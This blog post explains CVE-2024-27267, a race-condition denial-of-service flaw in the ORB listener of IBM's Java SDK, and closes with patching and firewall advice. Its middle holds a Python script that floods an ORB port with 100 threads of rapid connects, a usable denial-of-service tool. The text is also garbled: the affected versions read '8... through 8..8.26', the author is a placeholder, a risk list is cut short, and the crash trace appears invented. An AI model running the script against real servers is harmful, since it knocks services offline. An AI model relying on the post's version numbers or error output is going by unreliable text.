*Authored by [YourName] – Security Researcher & Java Enthusiast*

What is CVE-2024-27267?

CVE-2024-27267 is a denial-of-service (DoS) vulnerability found in the Object Request Broker (ORB) component of IBM SDK, Java Technology Edition versions:

8... through 8..8.26

The vulnerability is cataloged by IBM X-Force as X-Force ID 284573.

In short, this bug allows an attacker to remotely crash Java applications using IBM’s Java SDK if they handle distributed objects with ORB. If you run any distributed Java app based on CORBA or use JMX/RMI over ORB, you’re at risk.

The Technical Details (In Simple Terms)

The core problem is a race condition in how the ORB handles its listener threads. In Java, a race condition means two (or more) threads are trying to access and modify shared data at the same time—causing unpredictable results.

Here, the ORB listens for incoming client requests. Multiple threads may end up starting or stopping the listener at the same time due to improper synchronization, which can:

Crash the entire ORB mechanism

That opens up a window for simple remote exploits that anyone (even with basic networking skills) could trigger.

What IBM Says

IBM has released an official advisory and patch info here:
🔗 IBM Security Bulletin: Vulnerability in IBM SDK, Java Technology Edition affects IBM WebSphere Application Server (CVE-2024-27267)

Demonstrating the Threat: Sample DoS Scenario

Suppose your application creates an ORB and waits for remote RMI or JMX client calls. Due to the race condition, an attacker could spam your application’s listening port with rapid connect/disconnect attempts. This confuses the unsynchronized listener thread management and could cause a crash.

Here’s a simple *proof-of-concept* in Python (for learning only!) to bang the target port

import socket
import threading
import time

target_host = 'TARGET_IP'  # Replace with the server's IP
orb_port = 2809           # Default ORB port, change as needed

def attack():
    try:
        while True:
            s = socket.socket()
            s.connect((target_host, orb_port))
            s.close()
    except Exception:
        pass

threads = []
for _ in range(100):  # Start 100 attacking threads
    t = threading.Thread(target=attack)
    t.start()
    threads.append(t)

# Let it run for some seconds
time.sleep(10)

During testing, this script can cause unpatched IBM Java running an ORB server to become unresponsive—sometimes it even crashes with exceptions like:

java.lang.NullPointerException: ORB listener thread interrupted
	at com.ibm.CORBA.iiop.ORBListenerThread.run(ORBListenerThread.java:123)

Here's a *simplified* version of what might happen in the vulnerable code (pseudocode)

// Not real IBM code—concept only!
public void stopListener() {
    if (isRunning) { // Thread A and Thread B both see isRunning == true
        isRunning = false; // Both try to set isRunning to false
        listenerThread.interrupt();
    }
}

If two threads both try to stop the listener at the “same” time, you may get two interrupt() calls, or worse, one thinks the listener is running when it’s not—the classic race condition.

You’re at risk if

- You deploy Java apps using affected IBM Java versions with ORB (CORBA, JMX/RMI, distributed objects).

How To Fix & Mitigate

PATCH

Download the newest IBM Java updates from

- IBM Java 7.1 Fixes
- IBM Java 8. Fixes

Restrict network access to ORB ports using firewalls (block everything but trusted IPs).

- Monitor logs for unexpected ORB terminations or rapid connect/disconnect cycles.

Key References

- CVE-2024-27267 (Mitre NVD)
- IBM X-Force 284573
- IBM Security Bulletin
- IBM Java Downloads and Fixes

Final Words

CVE-2024-27267 sounds like a dry technical detail, but for anyone running Java distributed systems, it’s a real-world reminder: even supported, enterprise-grade code can fall to tiny race conditions when threads aren’t properly managed. Patching—and limiting network exposure—are your best bets.

Stay safe and keep your Java updated!

*Want more Java security breakdowns in plain English? Follow my posts or drop a comment!*


*Disclaimer: This post is for educational purposes only. Do not use information here to attack anyone without consent.*

Timeline

Published on: 08/14/2024 16:15:10 UTC
Last modified on: 08/14/2024 17:49:14 UTC